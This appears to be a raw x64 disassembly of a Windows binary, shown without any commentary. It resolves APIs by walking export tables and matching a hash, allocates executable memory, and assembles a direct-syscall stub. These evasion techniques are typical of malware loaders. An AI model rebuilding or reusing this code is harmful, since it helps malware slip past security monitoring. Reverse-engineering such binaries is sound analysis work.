mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11eb8]
mov qword [rsp + 0x5fa0], rax
mov rcx, qword [rsp + 0x5fa0]
call fcn.140097960
mov qword [rsp + 0x116d0], rax
mov rcx, qword [rsp + 0x5fa0]
call fcn.140097950
mov qword [rsp + 0x4038], rax
mov rax, qword [rsp + 0x4038]
mov rax, qword [rax]
mov qword [rsp + 0x5fb8], rax
mov rax, qword [rsp + 0x4518]
mov qword [rsp + 0xaae8], rax
mov rax, qword [rsp + 0xaae8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0xaaf0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5fa8], rax
mov eax, dword [rsp + 0x5fa8]
add rax, qword [rsp + 0x4518]
mov qword [rsp + 0x5fb0], rax
mov eax, dword [rsp + 0x5fac]
mov rcx, qword [rsp + 0x5fb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0x5fb0]
cmp qword [rsp + 0x5fb8], rax
jb 0x140143707
mov rax, qword [rsp + 0xaaf8]
cmp qword [rsp + 0x5fb8], rax
jae 0x140143707
mov dword [rsp + 0xcb8], 1
jmp 0x140143712
mov dword [rsp + 0xcb8], 0
movzx eax, byte [rsp + 0xcb8]
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0xf8]
test eax, eax
je 0x1401439e1
mov rax, qword [rsp + 0x4038]
mov rax, qword [rax]
mov qword [rsp + 0xab00], rax
mov rax, qword [rsp + 0xab00]
mov qword [rsp + 0xab08], rax
lea rax, [rsp + 0x12968]
mov qword [rsp + 0xab10], rax
mov rdx, qword [rsp + 0xab08]
mov rcx, qword [rsp + 0xab10]
call fcn.140095590
lea rcx, [rsp + 0x6a10]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6a10]
call fcn.140191090
mov qword [rsp + 0x4030], rax
cmp qword [rsp + 0x4030], 0xffffffffffffffff
je 0x14014381c
mov r9, qword [rsp + 0x4030]
xor r8d, r8d
lea rdx, [rsp + 0xfd30]
lea rcx, [rsp + 0x6a10]
call fcn.14019aaa0
mov rax, qword [rsp + 0x4030]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfd20]
lea rcx, [rsp + 0x6a10]
call fcn.14019aaa0
lea r8, [rsp + 0xfd20]
lea rdx, [rsp + 0xfd30]
lea rcx, [rsp + 0x112f0]
call fcn.14008f7e0
jmp 0x140143857
lea rax, [rsp + 0x6a10]
mov qword [rsp + 0xab18], rax
lea rcx, [rsp + 0xfd40]
call fcn.140099fb0
lea r8, [rsp + 0xfd40]
mov rdx, qword [rsp + 0xab18]
lea rcx, [rsp + 0x112f0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x112f0]
call fcn.140097960
mov qword [rsp + 0xab20], rax
lea rcx, [rsp + 0x112f0]
call fcn.140097950
mov qword [rsp + 0xab38], rax
lea rax, [rsp + 0xd53c]
mov qword [rsp + 0xab30], rax
lea rax, [rsp + 0x29e0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x29e0]
call fcn.14009b310
mov qword [rsp + 0xab28], rax
lea rax, [rsp + 0xfd50]
mov rdi, rax
mov rsi, qword [rsp + 0xab20]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfd60]
lea rcx, [rsp + 0xfd50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfd60]
mov rcx, qword [rsp + 0xab28]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xab30]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x29e8], eax
lea rax, [rsp + 0xd540]
mov qword [rsp + 0xab48], rax
lea rax, [rsp + 0x29e4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x29e4]
call fcn.14009b310
mov qword [rsp + 0xab40], rax
lea rax, [rsp + 0xfd70]
mov rdi, rax
mov rsi, qword [rsp + 0xab38]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfd80]
lea rcx, [rsp + 0xfd70]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfd80]
mov rcx, qword [rsp + 0xab40]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xab48]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x29ec], eax
mov r8d, dword [rsp + 0x29e8]
mov edx, dword [rsp + 0x29ec]
lea rcx, [rsp + 0x4040]
call fcn.140191150
mov qword [rsp + 0x1448], rax
jmp 0x140143a07
mov rax, qword [rsp + 0x4038]
mov rax, qword [rax]
mov qword [rsp + 0x1448], rax
jmp 0x140143a07
mov qword [rsp + 0x1448], 0
mov rax, qword [rsp + 0x1448]
mov qword [rsp + 0x4040], rax
lea rcx, [rsp + 0x4040]
call fcn.1400a2c10
mov qword [rsp + 0xab50], rax
mov eax, dword [rsp + 0x61e0]
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0xab50]
mov qword [rsp + 0xab58], rax
mov eax, dword [rsp + 0x29f0]
mov dword [rsp + 0x29f8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfd90]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xab60], rax
lea r9, [rsp + 0xab58]
lea r8, [rsp + 0x29f8]
lea rdx, [rsp + 0x12988]
mov rcx, qword [rsp + 0xab60]
call fcn.140098320
lea rcx, [rsp + 0xfd90]
call fcn.1400a0f80
lea rcx, [rsp + 0x4040]
call fcn.1400a2c10
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0xab68]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2a00], eax
mov eax, dword [rsp + 0x2a00]
mov dword [rsp + 0x61e4], eax
lea rax, [rsp + 0x61e8]
mov qword [rsp + 0xab70], rax
mov eax, dword [rsp + 0x61e4]
mov dword [rsp + 0x2a08], eax
mov rax, qword [rsp + 0xab70]
add rax, 0x11
mov qword [rsp + 0xab78], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xab78]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2a08]
mov dword [rax], ecx
lea rax, [rsp + 0x61e8]
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x670]
add rax, 0x10
mov qword [rsp + 0x116d8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xab80], rax
mov qword [rsp + 0x5fc0], 0
mov qword [rsp + 0xab88], 0xd
mov rax, qword [rsp + 0xab80]
mov qword [rsp + 0xab90], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xab88]
xor r8d, r8d
lea rdx, [rsp + 0x5fc0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xab90]
mov dword [rsp + 0x2a10], eax
cmp dword [rsp + 0x2a10], 0
jl 0x140143beb
mov rax, qword [rsp + 0x5fc0]
mov qword [rsp + 0x5fc8], rax
jmp 0x140143bf7
mov qword [rsp + 0x5fc8], 0
mov rax, qword [rsp + 0x5fc8]
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0x670]
mov rcx, qword [rsp + 0xab98]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x670]
cmp qword [rax + 8], 0
jne 0x140143c2c
jmp 0x140143c70
mov rax, qword [rsp + 0x670]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x670]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x670]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x61e8]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0xaba0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xaba8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xabb0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xabb8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xabc0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xabc8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xabd0]
mov r8, qword [rsp + 0xabd8]
mov rdx, qword [rsp + 0xabe0]
mov rcx, qword [rsp + 0xabe8]
call qword [rsp + 0xabf0]
mov dword [rsp + 0x2a14], eax
lea rcx, [rsp + 0x61e0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2a14]
mov dword [rsp + 0x2a18], eax
cmp dword [rsp + 0x2a18], 0
jge 0x140143d2b
mov byte [rsp + 0x99], 0
jmp 0x140143d33
mov byte [rsp + 0x99], 1
mov r9d, 5
mov r8d, 1
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rsp + 0xa0]
call fcn.140165100
mov qword [rsp + 0x5b28], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x1498]
call fcn.140098620
mov rdx, qword [rsp + 0x5fd0]
lea rcx, [rsp + 0x1498]
call fcn.1400a2dd0
mov qword [rsp + 0x1b0], rax
jmp 0x140143dad
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1498]
call fcn.1400a2dd0
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x5fd0]
cmp qword [rsp + 0x1b0], rax
je 0x140158ce9
lea rax, [rsp + 0xd370]
mov qword [rsp + 0x5fe0], rax
mov rax, qword [rsp + 0x1b0]
add rax, 0x10
mov qword [rsp + 0x5fd8], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xabf8], rax
mov rax, qword [rsp + 0xabf8]
mov qword [rsp + 0xac40], rax
cmp qword [rsp + 0x5fe0], 0
je 0x140143e25
cmp qword [rsp + 0x5fd8], 0
je 0x140143e25
xor eax, eax
cmp rax, 0x10
jne 0x140143e32
mov byte [rsp + 0x88], 0
jmp 0x140144f91
lea rax, [rsp + 0xda20]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xda20], 0x33
mov rax, qword [rsp + 0x5fd8]
mov qword [rsp + 0xda30], rax
mov rax, qword [rsp + 0x5fe0]
mov qword [rsp + 0xda38], rax
mov qword [rsp + 0xda40], 0x10
mov dword [rsp + 0x2a5c], 0
mov qword [rsp + 0xac08], 0
mov qword [rsp + 0xac10], 0x28
lea rax, [rsp + 0xda20]
mov qword [rsp + 0xac18], rax
lea rax, [rsp + 0x12998]
mov qword [rsp + 0xac20], rax
mov qword [rsp + 0xac28], 0
mov qword [rsp + 0xac30], 0
mov qword [rsp + 0xac38], 0
mov dword [rsp + 0x2a1c], 0x9363e455
mov eax, dword [rsp + 0x2a1c]
mov dword [rsp + 0x2a20], eax
lea rcx, [rsp + 0x2a20]
call fcn.1400a2c20
mov dword [rsp + 0x66b8], eax
mov dword [rsp + 0x66bc], 0
lea rax, [rsp + 0x66c0]
mov qword [rsp + 0xac00], rax
mov dword [rsp + 0x2a58], 0x49
mov dword [rsp + 0x2a54], 0x89
mov dword [rsp + 0x2a50], 0xca
mov dword [rsp + 0x2a4c], 0x48
mov dword [rsp + 0x2a48], 0xc7
mov dword [rsp + 0x2a44], 0xc0
mov dword [rsp + 0x2a40], 0x3f
mov dword [rsp + 0x2a3c], 0x10
mov dword [rsp + 0x2a38], 0
mov dword [rsp + 0x2a34], 0
mov dword [rsp + 0x2a30], 0xf
mov dword [rsp + 0x2a2c], 5
mov dword [rsp + 0x2a28], 0xc3
lea rax, [rsp + 0x2a28]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2a30]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2a34]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2a44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2a48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2a4c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2a50]
lea r8, [rsp + 0x2a54]
lea rdx, [rsp + 0x2a58]
mov rcx, qword [rsp + 0xac00]
call fcn.14008f900
mov byte [rsp + 0x3ae], 1
mov byte [rsp + 0x3af], 0
movsxd rax, dword [rsp + 0x2a5c]
mov qword [rsp + 0xad78], rax
mov byte [rsp + 0x3b0], 0
mov byte [rsp + 0x3b1], 0
mov rax, qword [rsp + 0xac08]
mov qword [rsp + 0xad80], rax
mov byte [rsp + 0x3b2], 0
mov byte [rsp + 0x3b3], 1
mov rax, qword [rsp + 0xac10]
mov qword [rsp + 0xad88], rax
mov byte [rsp + 0x3b4], 0
mov byte [rsp + 0x3b5], 0
mov rax, qword [rsp + 0xac18]
mov qword [rsp + 0xad90], rax
mov byte [rsp + 0x3b6], 0
mov byte [rsp + 0x3b7], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xad98], rax
mov byte [rsp + 0x3b8], 0
mov byte [rsp + 0x3b9], 0
mov rax, qword [rsp + 0xac20]
mov qword [rsp + 0xada0], rax
mov byte [rsp + 0x3ba], 0
mov byte [rsp + 0x3bb], 0
mov rax, qword [rsp + 0xac28]
mov qword [rsp + 0xada8], rax
mov byte [rsp + 0x3bc], 0
mov byte [rsp + 0x3bd], 0
mov rax, qword [rsp + 0xac30]
mov qword [rsp + 0xadb0], rax
mov byte [rsp + 0x3be], 0
mov byte [rsp + 0x3bf], 0
mov rax, qword [rsp + 0xac38]
mov qword [rsp + 0xadb8], rax
mov byte [rsp + 0x3c0], 0
mov byte [rsp + 0x3c1], 0
mov rax, qword [rsp + 0xac40]
mov qword [rsp + 0xadc0], rax
mov eax, dword [rsp + 0x66b8]
mov dword [rsp + 0x2a60], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfda0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xac48], rax
lea r8, [rsp + 0x2a60]
lea rdx, [rsp + 0x5fe8]
mov rcx, qword [rsp + 0xac48]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xac50], rax
lea rdx, [rsp + 0x116e0]
mov rcx, qword [rsp + 0xac50]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5fe8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140144243
mov qword [rsp + 0x5ff0], 0
jmp 0x14014425c
lea rcx, [rsp + 0x5fe8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5ff0], rax
mov rax, qword [rsp + 0x5ff0]
mov qword [rsp + 0xac58], rax
lea rcx, [rsp + 0xfda0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xac58]
mov qword [rsp + 0x5ff8], rax
cmp qword [rsp + 0x5ff8], 0
je 0x1401442b9
mov rax, qword [rsp + 0x5ff8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2a68], eax
mov eax, dword [rsp + 0x2a68]
mov dword [rsp + 0x66bc], eax
jmp 0x140144d47
lea rax, [rsp + 0xd544]
mov qword [rsp + 0xac60], rax
xor edx, edx
mov rcx, qword [rsp + 0xac60]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2a6c], eax
lea rax, [rsp + 0xd548]
mov qword [rsp + 0xac68], rax
mov edx, dword [rsp + 0x66b8]
mov rcx, qword [rsp + 0xac68]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2a70], eax
mov eax, dword [rsp + 0x2a6c]
mov dword [rsp + 0xcc0], eax
mov eax, dword [rsp + 0x2a70]
mov dword [rsp + 0xcd8], eax
xor edx, edx
lea rcx, [rsp + 0x2a74]
call fcn.14009b2f0
lea rdx, [rsp + 0x2a74]
lea rcx, [rsp + 0xcd8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140144366
mov qword [rsp + 0x1458], 0
jmp 0x140144c65
mov byte [rsp + 0x3c2], 1
mov qword [rsp + 0x6a20], 0
mov qword [rsp + 0x6a28], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4048], rax
mov eax, 1
test eax, eax
je 0x1401443b8
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x6000], rax
jmp 0x1401443cb
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov qword [rsp + 0x6000], rax
mov rax, qword [rsp + 0x6000]
mov qword [rsp + 0x6a20], rax
mov rax, qword [rsp + 0x4048]
mov qword [rsp + 0x6a28], rax
lea rax, [rsp + 0x6a20]
mov qword [rsp + 0x6008], rax
lea rdx, [rsp + 0x1450]
mov rcx, qword [rsp + 0x6008]
call fcn.14018efb0
lea rdx, [rsp + 0xac70]
mov rcx, qword [rsp + 0x6008]
call fcn.140190a30
jmp 0x14014443a
mov rax, qword [rsp + 0x1450]
mov rax, qword [rax]
mov qword [rsp + 0x1450], rax
mov rax, qword [rsp + 0xac70]
cmp qword [rsp + 0x1450], rax
je 0x140144459
mov dword [rsp + 0xcbc], 1
jmp 0x140144464
mov dword [rsp + 0xcbc], 0
movzx eax, byte [rsp + 0xcbc]
test eax, eax
je 0x140144c59
xor edx, edx
mov rcx, qword [rsp + 0x1450]
call fcn.140096d90
mov qword [rsp + 0xac78], rax
lea rax, [rsp + 0xac78]
mov qword [rsp + 0x6010], rax
xor edx, edx
lea rcx, [rsp + 0x2a78]
call fcn.14009b2f0
lea rdx, [rsp + 0x2a78]
lea rcx, [rsp + 0xcc0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140144704
mov rax, qword [rsp + 0x6010]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xac80], rax
lea rdx, [rsp + 0x129a8]
mov rcx, qword [rsp + 0xac80]
call fcn.14019acf0
lea rcx, [rsp + 0xfdb0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xcc0]
mov dword [rsp + 0x2a7c], eax
lea rax, [rsp + 0xd360]
lea rcx, [rsp + 0xfdb0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2a7c]
mov dword [rsp + 0xcc8], eax
lea rax, [rsp + 0x2a80]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2a80]
call fcn.14009b310
mov qword [rsp + 0xac88], rax
lea rax, [rsp + 0xfdc0]
lea rcx, [rsp + 0xd360]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfdd0]
lea rcx, [rsp + 0xfdc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfdd0]
mov rcx, qword [rsp + 0xac88]
call fcn.140097890
mov dword [rsp + 0x2a88], eax
lea rcx, [rsp + 0xd360]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xac90], rax
mov r9, qword [rsp + 0xac90]
xor r8d, r8d
lea rdx, [rsp + 0xfde0]
lea rcx, [rsp + 0xd360]
call fcn.14019ab70
lea rax, [rsp + 0x2a84]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2a84]
call fcn.14009b310
mov qword [rsp + 0xac98], rax
lea rax, [rsp + 0xfdf0]
lea rcx, [rsp + 0xfde0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfe00]
lea rcx, [rsp + 0xfdf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfe00]
mov rcx, qword [rsp + 0xac98]
call fcn.140097890
mov dword [rsp + 0x2a90], eax
mov edx, dword [rsp + 0x2a88]
lea rcx, [rsp + 0x2a8c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2a8c]
lea rcx, [rsp + 0xcc8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401446e8
mov edx, dword [rsp + 0x2a90]
lea rcx, [rsp + 0x2a94]
call fcn.14009b2f0
lea rdx, [rsp + 0x2a94]
lea rcx, [rsp + 0xcc8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401446e8
mov dword [rsp + 0xcd0], 1
jmp 0x1401446f3
mov dword [rsp + 0xcd0], 0
movzx eax, byte [rsp + 0xcd0]
test eax, eax
je 0x140144704
jmp 0x140144427
mov rax, qword [rsp + 0x6010]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x6018], rax
mov rax, qword [rsp + 0x6018]
mov qword [rsp + 0x4528], rax
mov rax, qword [rsp + 0x6018]
mov qword [rsp + 0xaca0], rax
mov rax, qword [rsp + 0xaca0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xaca8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xacb0], rax
mov eax, dword [rsp + 0xacb0]
add rax, qword [rsp + 0x4528]
mov qword [rsp + 0xacb8], rax
mov rax, qword [rsp + 0xacb8]
mov qword [rsp + 0x4530], rax
lea rdx, [rsp + 0xcd8]
lea rcx, [rsp + 0xd54c]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ed0]
lea rcx, [rsp + 0x4528]
call fcn.140097040
lea rdx, [rsp + 0x13a38]
lea rcx, [rsp + 0x4528]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ed0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x1401447f0
jmp 0x140144427
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140144873
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11ee0]
mov qword [rsp + 0x6020], rax
mov rcx, qword [rsp + 0x6020]
call fcn.140097960
mov qword [rsp + 0x116e8], rax
mov rcx, qword [rsp + 0x6020]
call fcn.140097950
mov qword [rsp + 0x4058], rax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov qword [rsp + 0x6038], rax
mov rax, qword [rsp + 0x4528]
mov qword [rsp + 0xacc0], rax
mov rax, qword [rsp + 0xacc0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0xacc8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x6028], rax
mov eax, dword [rsp + 0x6028]
add rax, qword [rsp + 0x4528]
mov qword [rsp + 0x6030], rax
mov eax, dword [rsp + 0x602c]
mov rcx, qword [rsp + 0x6030]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd0], rax
mov rax, qword [rsp + 0x6030]
cmp qword [rsp + 0x6038], rax
jb 0x140144965
mov rax, qword [rsp + 0xacd0]
cmp qword [rsp + 0x6038], rax
jae 0x140144965
mov dword [rsp + 0xce0], 1
jmp 0x140144970
mov dword [rsp + 0xce0], 0
movzx eax, byte [rsp + 0xce0]
mov byte [rsp + 0xf9], al
movzx eax, byte [rsp + 0xf9]
test eax, eax
je 0x140144c3f
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0xacd8]
mov qword [rsp + 0xace0], rax
lea rax, [rsp + 0x129b8]
mov qword [rsp + 0xace8], rax
mov rdx, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xace8]
call fcn.140095590
lea rcx, [rsp + 0x6a30]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6a30]
call fcn.140191090
mov qword [rsp + 0x4050], rax
cmp qword [rsp + 0x4050], 0xffffffffffffffff
je 0x140144a7a
mov r9, qword [rsp + 0x4050]
xor r8d, r8d
lea rdx, [rsp + 0xfe20]
lea rcx, [rsp + 0x6a30]
call fcn.14019aaa0
mov rax, qword [rsp + 0x4050]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfe10]
lea rcx, [rsp + 0x6a30]
call fcn.14019aaa0
lea r8, [rsp + 0xfe10]
lea rdx, [rsp + 0xfe20]
lea rcx, [rsp + 0x11310]
call fcn.14008f7e0
jmp 0x140144ab5
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0xacf0], rax
lea rcx, [rsp + 0xfe30]
call fcn.140099fb0
lea r8, [rsp + 0xfe30]
mov rdx, qword [rsp + 0xacf0]
lea rcx, [rsp + 0x11310]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11310]
call fcn.140097960
mov qword [rsp + 0xacf8], rax
lea rcx, [rsp + 0x11310]
call fcn.140097950
mov qword [rsp + 0xad10], rax
lea rax, [rsp + 0xd550]
mov qword [rsp + 0xad08], rax
lea rax, [rsp + 0x2a98]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2a98]
call fcn.14009b310
mov qword [rsp + 0xad00], rax
lea rax, [rsp + 0xfe40]
mov rdi, rax
mov rsi, qword [rsp + 0xacf8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfe50]
lea rcx, [rsp + 0xfe40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfe50]
mov rcx, qword [rsp + 0xad00]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xad08]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2aa0], eax
lea rax, [rsp + 0xd554]
mov qword [rsp + 0xad20], rax
lea rax, [rsp + 0x2a9c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2a9c]
call fcn.14009b310
mov qword [rsp + 0xad18], rax
lea rax, [rsp + 0xfe60]
mov rdi, rax
mov rsi, qword [rsp + 0xad10]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfe70]
lea rcx, [rsp + 0xfe60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfe70]
mov rcx, qword [rsp + 0xad18]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xad20]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2aa4], eax
mov r8d, dword [rsp + 0x2aa0]
mov edx, dword [rsp + 0x2aa4]
lea rcx, [rsp + 0x4060]
call fcn.140191150
mov qword [rsp + 0x1458], rax
jmp 0x140144c65
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov qword [rsp + 0x1458], rax
jmp 0x140144c65
mov qword [rsp + 0x1458], 0
mov rax, qword [rsp + 0x1458]
mov qword [rsp + 0x4060], rax
lea rcx, [rsp + 0x4060]
call fcn.1400a2c10
mov qword [rsp + 0xad28], rax
mov eax, dword [rsp + 0x66b8]
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0xad28]
mov qword [rsp + 0xad30], rax
mov eax, dword [rsp + 0x2aa8]
mov dword [rsp + 0x2ab0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfe80]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xad38], rax
lea r9, [rsp + 0xad30]
lea r8, [rsp + 0x2ab0]
lea rdx, [rsp + 0x129c8]
mov rcx, qword [rsp + 0xad38]
call fcn.140098320
